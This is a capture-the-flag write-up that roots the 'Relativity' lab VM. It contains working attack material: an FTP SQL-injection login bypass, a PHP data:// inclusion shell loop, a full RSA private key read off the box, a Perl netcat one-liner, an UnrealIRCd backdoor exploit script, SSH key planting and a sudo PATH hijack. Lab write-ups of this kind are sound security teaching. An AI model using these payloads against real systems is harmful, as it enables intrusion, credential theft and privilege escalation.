/dev/random: Relativity

2016-11-26

Writeup by npny and nobe4.

nmap reveals the following open ports: 21,22, 80.

The HTTP does not reveal anything special, static HTML.

On the ports 21 and 22 the default/basic username don’t work.

We can see the FTP on port 21 is an old ftpd version with the mod_sql activated.

From various links we understand that there is a SQL injection on this plugin that allow a user to login without valid credentials.

Using the code on this exploit doesn’t work but changing the -- with # (another comment symbol) works, the payload is:

username: %') and 1=2 union select 1,1,uid,gid,homedir,shell from users;#
password: 1

It seems the FTP is in passive mode, which doesn’t really matter, but was interesting to understand. Now we are logged in, we can see what is available in the FTP:

ftp> ls /
---> PORT 192,168,1,72,249,154
200 PORT command successful
---> LIST /
150 Opening ASCII mode data connection for file list
drwxr-xr-x   3 root     root         4096 Mar  5  2013 0f756638e0737f4a0de1c53bf8937a08
-rw-r--r--   1 root     root       235423 Mar  5  2013 artwork.jpg
-rw-r--r--   1 root     root          130 Mar  5  2013 index.html
226 Transfer complete.

We can’t get any file as the are owned by root, but we can see a hidden directory 0f756638e0737f4a0de1c53bf8937a08, accessible by HTTP:

http://ctf02.root-me.org/0f756638e0737f4a0de1c53bf8937a08/

Poking around shows quickly that the rendering is done with a inclusion of file, via the page GET parameter:

http://ctf01.root-me.org/0f756638e0737f4a0de1c53bf8937a08/index.php?page=definition.php

We can even include non-PHP file:

http://ctf02.root-me.org/0f756638e0737f4a0de1c53bf8937a08/index.php?page=style.css

We tried a two exploits on this inclusion, but none worked…

Then we discovered that we could use data: with the include function.

The first example worked on the URL:

data://text/plain;base64,SSBsb3ZlIFBIUAo=

We created a bash script to handle this:

while printf "\n> "; read line; do;
    curl -s `
        printf "http://ctf06.root-me.org/0f756638e0737f4a0de1c53bf8937a08/index.php?page=data:text/plain;base64,"
        printf "<?php echo shell_exec('$line'); ?>" | base64
    ` |\
    tr '\n' '\r' | sed -e "s@.*<div id=\"content\">@@g" -e "s@</div>.*@@g" | tr '\r' '\n'
done;

Now we have a shell access to the server.

> ls -la /home/mauk
total 28
drwxr-xr-x. 3 mauk mauk 4096 Jul  9  2013 .
drwxr-xr-x. 4 root root 4096 Feb 25  2013 ..
-rw-------. 1 mauk mauk   70 Jul  9  2013 .bash_history
-rw-r--r--. 1 mauk mauk   18 Apr 23  2012 .bash_logout
-rw-r--r--. 1 mauk mauk  193 Apr 23  2012 .bash_profile
-rw-r--r--. 1 mauk mauk  124 Apr 23  2012 .bashrc
drwxr-xr-x. 2 mauk mauk 4096 Jul  9  2013 .ssh

>  ls -la /home/mauk/.ssh/
total 20
drwxr-xr-x. 2 mauk mauk 4096 Jul  9  2013 .
drwxr-xr-x. 3 mauk mauk 4096 Jul  9  2013 ..
-rw-r--r--. 1 mauk mauk  397 Feb 24  2013 authorized_keys
-rw-r--r--. 1 mauk mauk 1679 Feb 24  2013 id_rsa
-rw-r--r--. 1 mauk mauk  397 Feb 24  2013 id_rsa.pub

> cat /home/mauk/.ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDmyb+scegJpO2dynsMJIgmVadSD17J+kndzMifXxTWW/llB/T3IZoPFp+5qV2lcI0yjfaZV
Bv1dDtzY3ux1J0COyBKNXRgb8hkZk1HIVLnxglBF1nnBG7p4oCVBWyz8urfPC4GxPw6b/X9wqlWAHe6Q+0oD3szmJLEvVVZZeDoZWgnp/rMiK
j8NkwULE5T1bKXuLyywSgHFCWaBmH2mdhiHCjtF/dFcEl4cOm5zWD6+iXa9E0AteogGUi1LTwyGhNpLRIr6kP3w5TfgzvjlTkyjhOAWNhz54P
vF7DJ25a5Lki4U93F9weS3RxDuF7QBge6TmigIjhxrcHTFxJkgtar mauk@Relativity

> cat /home/mauk/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA5sm/rHHoCaTtncp7DCSIJlWnUg9eyfpJ3czIn18U1lv5ZQf0
9yGaDxafualdpXCNMo32mVQb9XQ7c2N7sdSdAjsgSjV0YG/IZGZNRyFS58YJQRdZ
5wRu6eKAlQVss/Lq3zwuBsT8Om/1/cKpVgB3ukPtKA97M5iSxL1VWWXg6GVoJ6f6
zIio/DZMFCxOU9Wyl7i8ssEoBxQlmgZh9pnYYhwo7Rf3RXBJeHDpuc1g+vol2vRN
ALXqIBlItS08MhoTaS0SK+pD98OU34M745U5Mo4TgFjYc+eD7xewyduWuS5IuFPd
xfcHkt0cQ7he0AYHuk5ooCI4ca3B0xcSZILWqwIDAQABAoIBAHNnIMxXLQNdkGAd
tsfMoLQikodrHif7WuJpG0zuG5pQ5XWKtAi7qbCvzHDnaudmT4SfDld/gneLhord
jSXQPi62aCATeL0cSGVD7pKJ7E3vbgM5bQAi7F9RnqBl1QRqjN3R1uYVrFaAU85v
f4N8umHOw5ELpLyZJ5LvZfVNB1jNIRpxINhAP+/kVslsZ93qyssljokKFMy/uOIH
r+SV3b3Zfogvg67AJ/g08jtCjYdbr7egPP2TYPMRz5fbTWCrc5m4EBvf5h5pP/w6
Go12YacY2lbF5wzbFUjIdNyF7RZHFDbSB0bM9aCDmXTfywlFswYdb7HyIZrstQ9W
BzWhIYkCgYEA/tUe/rhUcEYEXkhddkXWARcX0t9YNb8apY7WyVibiSyzh33mscRG
MLZoJJri5QMvNdYkNGr5zSGEo270Q2CzduKCbhVjXIybIbmggAc/80gZ5E8FDgJ7
szUKJL37BxXbAAYFIZkzXvc76Ve+vZvLfKMTbQqXTgKkQpGyRHLVOz8CgYEA59ht
YicNlz2yM26mpGqQNLGtEC1RmyZbPn03yJRTBJG5/sOlMw0RI+cMEiqyo7MKHmMZ
+Z7VKVtk8xEQbUy6EAeeSri/Fh1xiKRtlwwQSU1q2ooPOmdHyUp+rhseoPaDAJgy
3KJYbkQMzHVt6KhsWVTEnrz0VtxiTzRu7p2Y5ZUCgYEAt5X2RG+rdU8b6oibvI9H
Q3XNlf+NXvsUSV2EY33QX5yyodQUFNFf98wRbv2epHoM0u45GwJOgHe7RLq0gq3x
3J4GdSQ3dv9c64j9lf6jFbNF4/MBozwqvcpiSmILrOkT4wpzO+dQ2QOoR80M/zB0
ApDBd/b/VhYVHFg2Y5WPBKUCgYBn47SIMgXGCtBqeZ/UtyetZRyuzg/uXQ6v/r5b
dBOLTZ2xyouhR66xjtv63AU2k4jqOvAtyf2szZZ70N6yi5ooirFkvEpsJ39zgnLV
J4O4xScnjIvsWNFzIp2HeQGNkUj8oDbSZTEJIBc4GzrH8Yizsud0VimLLrAi29UF
ubsEzQKBgQDpWaD5rTcaWueiH2DwI7kbdgyf6yfpunsRNsnq0GqZ2wSaUyKt9b1j
bj9Dp+VxrUt584v//7z9Skkde2akJbA/qiF8/oOvzaiNRAOfpLCiqoL0vJ5dIvcg
aXwuOk5Dt0/xQWPAKHL6HYyzQjnad/VAmn6tnxko1A/S8ELiG+MUtg==
-----END RSA PRIVATE KEY-----

> cat /home/mauk/.ssh/id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDmyb+scegJpO2dynsMJIgmVadSD17J+kndzMifXxTWW/llB/T3IZoPFp+5qV2lcI0yjfaZV
Bv1dDtzY3ux1J0COyBKNXRgb8hkZk1HIVLnxglBF1nnBG7p4oCVBWyz8urfPC4GxPw6b/X9wqlWAHe6Q+0oD3szmJLEvVVZZeDoZWgnp/rMiK
j8NkwULE5T1bKXuLyywSgHFCWaBmH2mdhiHCjtF/dFcEl4cOm5zWD6+iXa9E0AteogGUi1LTwyGhNpLRIr6kP3w5TfgzvjlTkyjhOAWNhz54P
vF7DJ25a5Lki4U93F9weS3RxDuF7QBge6TmigIjhxrcHTFxJkgtar mauk@Relativity

We even have access to the private ssh key, and we now that the current ssh user (mauk) is registered in the authorized_keys, so we can use the private key to connect without password:

ssh -i private.key mauk@ctf06.root-me.org

Nothing could be found in the user directory, but we have access to the history:

1  ssh -f root@192.168.144.228 -R 6667:127.0.0.1:6667 -N
2  su -
3  exit
4  su -

We can see an ssh -f root@192.168.144.228 -R 6667:127.0.0.1:6667 -N line in the history, and ircd in the running processes, which both hint to a locally running irc server (6667 is the irc port).

ps aux | grep irc
-> jetta      577  0.0  0.2  24192  2612 ?        S    09:11   0:00 /opt/Unreal/src/ircd

We could try talking to it, but unfortunately there is no netcat or telnet available on this machine. However, perl is available, and sure enough here’s a one-liner replacement for netcat:

perl -MFcntl=F_SETFL,F_GETFL,O_NONBLOCK -MSocket '-e$0=perl;socket($c,AF_INET,SOCK_STREAM,0)&&connect($c,sockaddr_in$ARGV[1],inet_aton$ARGV[0])||die$!;fcntl$_,F_SETFL,O_NONBLOCK|fcntl$_,F_GETFL,0 for@d=(*STDIN,$c),@e=($c,*STDOUT);L:for(0,1){sysread($d[$_],$f,8**5)||exit and$f[$_].=$f if vec$g,$_*($h=fileno$c),1;substr$f[$_],0,syswrite($e[$_],$f[$_],8**5),"";vec($g,$_*$h,1)=($i=length$f[$_]<8**5);vec($j,$_||$h,1)=!!$i}select$g,$j,$k,5;goto L'

Now we can connect to the (still running) irc server and get some info:

./nc 127.0.0.1 6667

NICK mauk
USER mauk 0 * :mauk

INFO
:relativity.localdomain 371 mk :=-=-=-= Unreal3.2.8.1 =-=-=-=
:relativity.localdomain 371 mk :| This release was brought to you by the following people:
:relativity.localdomain 371 mk :|
:relativity.localdomain 371 mk :| Coders:
:relativity.localdomain 371 mk :| * Syzop        <syzop@unrealircd.com>
:relativity.localdomain 371 mk :|
:relativity.localdomain 371 mk :| Contributors:
:relativity.localdomain 371 mk :| * aquanight    <aquanight@unrealircd.com>
:relativity.localdomain 371 mk :| * WolfSage     <wolfsage@unrealircd.com>
:relativity.localdomain 371 mk :| * Stealth, tabrisnet, Bock, fbi
:relativity.localdomain 371 mk :|
:relativity.localdomain 371 mk :| RC Testers:
:relativity.localdomain 371 mk :| * Bock, Apocalypse, StrawberryKittens, wax, Elemental,
:relativity.localdomain 371 mk :|   Golden|Wolf, and everyone else who tested the RC's
:relativity.localdomain 371 mk :|
:relativity.localdomain 371 mk :| Past UnrealIRCd3.2* coders/contributors:
:relativity.localdomain 371 mk :| * Stskeeps (ret. head coder / project leader)
:relativity.localdomain 371 mk :| * codemastr (ret. u3.2 head coder)
:relativity.localdomain 371 mk :| * McSkaf, Zogg, NiQuiL, chasm, llthangel, nighthawk, ..
:relativity.localdomain 371 mk :|
:relativity.localdomain 371 mk :|
:relativity.localdomain 371 mk :| Credits - Type /Credits
:relativity.localdomain 371 mk :| DALnet Credits - Type /DalInfo
:relativity.localdomain 371 mk :|
:relativity.localdomain 371 mk :| This is an UnrealIRCd-style server
:relativity.localdomain 371 mk :| If you find any bugs, please report them at:
:relativity.localdomain 371 mk :|  http://bugs.unrealircd.org/
:relativity.localdomain 371 mk :| UnrealIRCd Homepage: http://www.unrealircd.com
:relativity.localdomain 371 mk :-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
:relativity.localdomain 371 mk :Birth Date: Thu Feb 28 2013 at 17:54:35 EST, compile # 1
:relativity.localdomain 371 mk :On-line since Sat Nov 26 09:11:48 2016
:relativity.localdomain 371 mk :ReleaseID (1.1.1.1.2.26 2009/04/13 11:03:55)
:relativity.localdomain 374 mk :End of /INFO list.

VERSION
:relativity.localdomain 351 mk Unreal3.2.8.1. relativity.localdomain :FhiXOoE [*=2309]
:relativity.localdomain 005 mk UHNAMES NAMESX SAFELIST HCN MAXCHANNELS=10 CHANLIMIT=#:10 MAXLIST=b:60,e:60,I:60 NICKLEN=30 CHANNELLEN=32 TOPICLEN=307 KICKLEN=307 AWAYLEN=307 MAXTARGETS=20 :are supported by this server
:relativity.localdomain 005 mk WALLCHOPS WATCH=128 WATCHOPTS=A SILENCE=15 MODES=12 CHANTYPES=# PREFIX=(qaohv)~&@%+ CHANMODES=beI,kfL,lj,psmntirRcOAQKVCuzNSMTG NETWORK=Relativity CASEMAPPING=ascii EXTBAN=~,cqnr ELIST=MNUCT STATUSMSG=~&@%+ :are supported by this server
:relativity.localdomain 005 mk EXCEPTS INVEX CMDS=KNOCK,MAP,DCCALLOW,USERIP :are supported by this server

Knowing this is an Unreal3.2.8.1 IRC server, we quickly find out about an RCE exploit:

#!/usr/bin/perl
use Socket;
use IO::Socket;

my $command = $ARGV[0];
my $payload = 'AB;'.$command;
my $host = "127.0.0.1";
my $port = "6667";

my $sockd = IO::Socket::INET->new (PeerAddr => $host, PeerPort => $port, Proto => "tcp") || die "Failed to connect to $ircserv on $ircport ...\n\n";
print "Sending: ". $payload . "\n";
print $sockd "$payload";

Running this exploit confirms that we can run things and create files as the jetta user (the one that launched ircd) The first order of things is to make our life easier and allow us to ssh as jetta directly:

perl exploit.pl 'mkdir /home/jetta/.ssh'
cp /home/mauk/.ssh/authorized_keys /tmp/
perl exploit.pl 'cp /tmp/authorized_keys /home/jetta/.ssh/'
exit

We can now ssh to the machine directly as the jetta user:

ssh -i privatekey jetta@ctf01.root-me.org

Looking around we find that there’s an auth_server binary in the home directory :

[jetta@Relativity auth_server]$ ./auth_server
[+] Checking Certificates...done
[+] Contacting server, please wait...could not establish connection
error: (12)
_______________________________________
/ In America, it's not how much an item \
\ costs, it's how much you save.        /
 ---------------------------------------
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||

[jetta@Relativity auth_server]$ sudo -l
Matching Defaults entries for jetta on this host:
    requiretty, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
    env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME
    LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY PATH", env_reset

User jetta may run the following commands on this host:
    (root) NOPASSWD: /home/jetta/auth_server/auth_server

The binary seems to be executing some certificates checks and output a message through cowsay.

We see that we can run the auth_server binary as root without providing any password:

sudo ./auth_server

Moreover:

[jetta@Relativity auth_server]$ strings auth_server
/lib64/ld-linux-x86-64.so.2
__gmon_start__
libc.so.6
fflush
puts
putchar
printf
poll
stdout
system
__libc_start_main
GLIBC_2.2.5
l$ L
t$(L
|$0H
[+] Checking Certificates...
done
[+] Contacting server, please wait...
could not establish connection
invalid certificates
error: (12)
fortune -s | /usr/bin/cowsay
Starting Auth server..
;*3$"

We can see that the call for fortune is not absolute path, so we can change the binary by modifying the path:

We can change the path to use the “local” fortune script this way:

PATH=/home/jetta:$PATH ./auth_server

Now we can create a POC to test if the fortune override works:

#!/usr/bin/python
print 'a'

Checking this for jetta and sudo:

[jetta@Relativity auth_server]$ PATH=/home/jetta:$PATH ./auth_server
[+] Checking Certificates...done
[+] Contacting server, please wait...could not establish connection
error: (12)
 ___
< a >
 ---
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||
[jetta@Relativity auth_server]$ PATH=/home/jetta:$PATH sudo ./auth_server
[+] Checking Certificates...done
[+] Contacting server, please wait...could not establish connection
error: (12)
 ___
< a >
 ---
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||

Nice, we can then use this to read the content of the /passwd file:

#!/usr/bin/bash
cat /passwd

Result:

[jetta@Relativity auth_server]$ PATH=/home/jetta:$PATH sudo ./auth_server
[+] Checking Certificates...done
[+] Contacting server, please wait...could not establish connection
error: (12)
 __________________________________
< b67def6bcb2112a963a3ade37773650e >
 ----------------------------------
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||